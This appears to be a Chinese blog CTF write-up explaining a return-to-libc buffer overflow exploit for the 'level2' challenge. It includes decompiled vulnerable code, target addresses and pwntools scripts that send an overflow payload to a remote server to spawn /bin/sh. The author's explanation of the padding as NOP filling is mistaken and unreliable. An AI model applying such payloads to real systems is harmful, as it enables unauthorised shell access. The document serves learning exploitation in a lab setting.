Retrun-into-libc,也写作Retrun2libc。libc是Linux下的ANSI C的函数库,包含了C语言最基本的库函数。

Retrun2libc的前提是NX开启,但ASLR关闭,NX开启后,我们无法执行shellcode。Retrun2libc提供了一种绕过思路:修改返回地址,让其指向内存中已有的某个函数。比如通过调整参数和栈的位置,让程序跳转到libc.so中的system函数或者exec类函数,然后运行/bin/sh。

上一篇的level0使用的解题方法就是Retrun2libc,题目给出的程序自带了一个callsystem函数,callsystem又调用了系统函数system并执行了/bin/sh。

今天的的题目level2也是用Retrun2libc的思路解题,不过比level0难度有提升。

checksec跑一下:

main伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return ;
}
vulnerable_function函数的伪代码:
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h] system("echo Input:");
return read(, &buf, 0x100u);
}

和level0一样,read的读入长度0x100超过了buf自身的长度0x88,因此存在溢出。解题思路是用buf覆盖返回地址然后执行/bin/sh就可以了。

函数列表里能看到system函数有现成的,找到system的地址之后我们能不能自己传入/bin/sh呢?个人理解答案是不能!因为开启了NX,无法执行shellcode。所以第一步的checksec是很有必要的,它决定了后续的解题策略。看了下网上的write up,程序里面也有现成/bin/sh,直接拿来用就好了。

具体步骤如下

1. 计算覆盖返回地址需要的字节(这里用字节不知道是否准确。。。)数 = 0x88+0x4

2.找到system函数地址: 0x08048320

3.找到/bin/sh的地址:0x0804A024

4.写脚本(自己依葫芦画瓢写了一个)

r=remote("220.249.52.133",)
payload='a'*0x88 + 'a'* + p32(0x08048320)+p32(0x0804A024)
r.recvuntil("Input")
r.sendline(payload)
r.interactive()

执行,hmmm....没成功......可能哪里没算对(又想起了咱屡战屡败的...就没一次算对过>_<)

看了下网上大大们写的,改了一下:

r=remote("220.249.52.133",)
payload='a'*0x88 + 'a'* + p32(0x08048320)+p32()+p32(0x0804A024)
r.recvuntil("Input")
r.sendline(payload)
r.interactive()

执行脚本,拿到flag:

把两种payload打出来看了下,没有加p(32):

加了p(32): 

查了一圈看到的解释是NOP填充,NOP表示什么也不做,用来对齐代码提高程序的执行速度的,把一条不想让其执行的指令用NOP覆盖,这条指令就会失去原有的功能。个人理解这里加NOP是为了覆盖system和/bin/sh之间的指令,因为这两个地址并不是连在一起的,中间还有其他指令,所以用NOP覆盖中间那段,让system执行之后就执行/bin/sh。。。不晓得理解得对不对,先放这吧,以后接触到相关的知识再回来看~

如需转载,请注明出处,这是对他人劳动成果的尊重~

最新文章

  1. 百度地图多点路径加载以及调整页面js
  2. matlab坐标外围背景变白色
  3. Android 学习笔记之Volley开源框架解析(三)
  4. C 封装一个简单二叉树基库
  5. script的defer和async
  6. ASP.NET MVC程序传值方式:ViewData,ViewBag,TempData和Session
  7. 一些值得思考的&quot;小题&quot;一
  8. 3-07. 求前缀表达式的值(25) (ZJU_PAT数学)
  9. 安卓Xpost框架
  10. Git 常用命令速查表(图文+表格)
  11. Echarts——一个简单的嵌套饼图
  12. UE4 PostProcessVolume笔记
  13. SQL: 某个时间段范围内,产品有价格,且求平均数
  14. jzoj5929. 【NOIP2018模拟10.26】情书
  15. c#获取程序版本号
  16. [POI2015]WIL-Wilcze doły
  17. jQuery至上宝典
  18. Spring+shiro配置JSP权限标签+角色标签+缓存
  19. asp.net写日志权限问题
  20. AtCoder ARC097C Sorted and Sorted:dp

热门文章

  1. django drf插件(一)
  2. java基础-java与c#接口不同点
  3. idea中Junit的使用
  4. java中HashMap和Hashtable的区别
  5. python文件处理-将图像根据坐标切割成若干小图
  6. 重学 Java 设计模式:实战备忘录模式「模拟互联网系统上线过程中,配置文件回滚场景」
  7. 洛谷P3694 邦邦的大合唱站队【状压dp】
  8. FreeMarkerz在List中取任意一条数据的某一个值
  9. css3 自定义字体_使用@font-face方式实现个性化字体
  10. Web前端年后跳槽面试复习指南